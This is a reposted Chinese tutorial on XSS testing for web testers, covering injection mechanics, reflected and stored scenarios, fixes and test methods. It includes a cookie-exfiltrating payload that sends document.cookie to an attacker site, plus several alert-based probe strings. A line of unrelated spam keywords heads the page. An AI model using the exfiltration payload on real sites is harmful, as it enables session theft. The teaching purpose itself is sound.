久久国产成人av_抖音国产毛片_a片网站免费观看_A片无码播放手机在线观看,色五月在线观看,亚洲精品m在线观看,女人自慰的免费网址,悠悠在线观看精品视频,一级日本片免费的,亚洲精品久,国产精品成人久久久久久久

分享

Web安全性測試之XSS

 歆馨 2012-03-21

XSS 全稱(Cross Site Scripting) 跨站腳本攻擊,, 是Web程序中最常見的漏洞,。指攻擊者在網(wǎng)頁中嵌入客戶端腳本(例如JavaScript), 當(dāng)用戶瀏覽此網(wǎng)頁時(shí),腳本就會在用戶的瀏覽器上執(zhí)行,,從而達(dá)到攻擊者的目的.  比如獲取用戶的Cookie,,導(dǎo)航到惡意網(wǎng)站,攜帶木馬等。

作為測試人員,,需要了解XSS的原理,,攻擊場景,如何修復(fù),。 才能有效的防止XSS的發(fā)生,。

 

閱讀目錄

  1. XSS 是如何發(fā)生的
  2. HTML Encode
  3. XSS 攻擊場景
  4. XSS漏洞的修復(fù)
  5. 如何測試XSS漏洞
  6. HTML Encode 和URL Encode的區(qū)別
  7. 瀏覽器中的XSS過濾器
  8. ASP.NET中的XSS安全機(jī)制

XSS 是如何發(fā)生的呢

假如有下面一個(gè)textbox

<input type="text" name="address1" value="value1from">

value1from是來自用戶的輸入,如果用戶不是輸入value1from,而是輸入 "/><script>alert(document.cookie)</script><!- 那么就會變成

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代碼將會被執(zhí)行

 

或者用戶輸入的是  "onfocus="alert(document.cookie)      那么就會變成 

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

 事件被觸發(fā)的時(shí)候嵌入的JavaScript代碼將會被執(zhí)行

 攻擊的威力,,取決于用戶輸入了什么樣的腳本

 

當(dāng)然用戶提交的數(shù)據(jù)還可以通過QueryString(放在URL中)和Cookie發(fā)送給服務(wù)器. 例如下圖

 

HTML Encode

XSS之所以會發(fā)生,, 是因?yàn)橛脩糨斎氲臄?shù)據(jù)變成了代碼。 所以我們需要對用戶輸入的數(shù)據(jù)進(jìn)行HTML Encode處理,。 將其中的"中括號",, “單引號”,“引號” 之類的特殊字符進(jìn)行編碼,。

在C#中已經(jīng)提供了現(xiàn)成的方法,,只要調(diào)用HttpUtility.HtmlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)

Fiddler中也提供了很方便的工具, 點(diǎn)擊Toolbar上的"TextWizard" 按鈕

 

XSS 攻擊場景

1. Dom-Based XSS 漏洞 攻擊過程如下

Tom 發(fā)現(xiàn)了Victim.com中的一個(gè)頁面有XSS漏洞,,

例如: http:///search.asp?term=apple

服務(wù)器中Search.asp 頁面的代碼大概如下

<html>
  <title></title>
  <body>
    Results for <%Reequest.QueryString("term")%>
    ...
  </body>
</html>

Tom 先建立一個(gè)網(wǎng)站http://,  用來接收“偷”來的信息,。
然后Tom 構(gòu)造一個(gè)惡意的url(如下), 通過某種方式(郵件,QQ)發(fā)給Monica

http:///search.asp?term=<script>window.open("http://?cookie="+document.cookie)</script>

Monica點(diǎn)擊了這個(gè)URL,, 嵌入在URL中的惡意Javascript代碼就會在Monica的瀏覽器中執(zhí)行. 那么Monica在網(wǎng)站的cookie, 就會被發(fā)送到badguy網(wǎng)站中,。這樣Monica在 的信息就被Tom盜了.

 

2. Stored XSS(存儲式XSS漏洞), 該類型是應(yīng)用廣泛而且有可能影響大Web服務(wù)器自身安全的漏洞,攻擊者將攻擊腳本上傳到Web服務(wù)器上,,使得所有訪問該頁面的用戶都面臨信息泄露的可能,。 攻擊過程如下

Alex發(fā)現(xiàn)了網(wǎng)站A上有一個(gè)XSS 漏洞,該漏洞允許將攻擊代碼保存在數(shù)據(jù)庫中,,

Alex發(fā)布了一篇文章,,文章中嵌入了惡意JavaScript代碼。

其他人如Monica訪問這片文章的時(shí)候,,嵌入在文章中的惡意Javascript代碼就會在Monica的瀏覽器中執(zhí)行,,其會話cookie或者其他信息將被Alex盜走。

 

Dom-Based XSS漏洞威脅用戶個(gè)體,,而存儲式XSS漏洞所威脅的對象將是大量的用戶.

 

XSS 漏洞修復(fù)

原則: 不相信客戶輸入的數(shù)據(jù)
注意:  攻擊代碼不一定在<script></script>中

  1. 將重要的cookie標(biāo)記為http only,   這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了.
  2. 只允許用戶輸入我們期望的數(shù)據(jù),。 例如: 年齡的textbox中,只允許用戶輸入數(shù)字,。 而數(shù)字之外的字符都過濾掉,。
  3. 對數(shù)據(jù)進(jìn)行Html Encode 處理
  4. 過濾或移除特殊的Html標(biāo)簽,, 例如: <script>, <iframe> ,  < for <, > for >, &quot for
  5. 過濾JavaScript 事件的標(biāo)簽。例如 "onclick=", "onfocus" 等等,。

如何測試XSS漏洞

方法一:  查看代碼,,查找關(guān)鍵的變量,   客戶端將數(shù)據(jù)傳送給Web 服務(wù)端一般通過三種方式 Querystring, Form表單,以及cookie.  例如在ASP的程序中,,通過Request對象獲取客戶端的變量

<%
strUserCode = Request.QueryString(“code”);
strUser = Request.Form(“USER”);
strID = Request.Cookies(“ID”);
%>

假如變量沒有經(jīng)過htmlEncode處理,, 那么這個(gè)變量就存在一個(gè)XSS漏洞

 

 方法二: 準(zhǔn)備測試腳本,

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)

 在網(wǎng)頁中的Textbox或者其他能輸入數(shù)據(jù)的地方,,輸入這些測試腳本,, 看能不能彈出對話框,能彈出的話說明存在XSS漏洞

 在URL中查看有那些變量通過URL把值傳給Web服務(wù)器,, 把這些變量的值退換成我們的測試的腳本,。  然后看我們的腳本是否能執(zhí)行

 

方法三:  自動化測試XSS漏洞
現(xiàn)在已經(jīng)有很多XSS掃描工具了。 實(shí)現(xiàn)XSS自動化測試非常簡單,,只需要用HttpWebRequest類,。 把包含xss 測試腳本。發(fā)送給Web服務(wù)器,。 然后查看HttpWebResponse中,,我們的XSS測試腳本是否已經(jīng)注入進(jìn)去了。

HTML Encode 和URL Encode的區(qū)別

剛開始我老是把這兩個(gè)東西搞混淆, 其實(shí)這是兩個(gè)不同的東西,。 

HTML編碼前面已經(jīng)介紹過了,,關(guān)于URL 編碼是為了符合url的規(guī)范。因?yàn)樵跇?biāo)準(zhǔn)的url規(guī)范中中文和很多的字符是不允許出現(xiàn)在url中的,。

例如在baidu中搜索"測試漢字",。 URL會變成
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477

 

所謂URL編碼就是: 把所有非字母數(shù)字字符都將被替換成百分號(%)后跟兩位十六進(jìn)制數(shù),空格則編碼為加號(+

 

在C#中已經(jīng)提供了現(xiàn)成的方法,,只要調(diào)用HttpUtility.UrlEncode("string <scritp>") 就可以了,。  (需要引用System.Web程序集)

Fiddler中也提供了很方便的工具, 點(diǎn)擊Toolbar上的"TextWizard" 按鈕

瀏覽器中的XSS過濾器

為了防止發(fā)生XSS, 很多瀏覽器廠商都在瀏覽器中加入安全機(jī)制來過濾XSS,。 例如IE8,,IE9,F(xiàn)irefox, Chrome. 都有針對XSS的安全機(jī)制,。 瀏覽器會阻止XSS,。 例如下圖

 

 如果需要做測試, 最好使用IE7,。

 ASP.NET中的XSS安全機(jī)制

 ASP.NET中有防范XSS的機(jī)制,,對提交的表單會自動檢查是否存在XSS,當(dāng)用戶試圖輸入XSS代碼的時(shí)候,ASP.NET會拋出一個(gè)錯(cuò)誤如下圖

很多程序員對安全沒有概念,, 甚至不知道有XSS的存在,。 ASP.NET在這一點(diǎn)上做到默認(rèn)安全。 這樣的話就算是沒有安全意識的程序員也能寫出一個(gè)”較安全的網(wǎng)站“,。

如果想禁止這個(gè)安全特性,, 可以通過 <%@  Page  validateRequest=“false"  %>

 

分類: 軟件測試

    本站是提供個(gè)人知識管理的網(wǎng)絡(luò)存儲空間,,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn),。請注意甄別內(nèi)容中的聯(lián)系方式,、誘導(dǎo)購買等信息,謹(jǐn)防詐騙,。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,,請點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多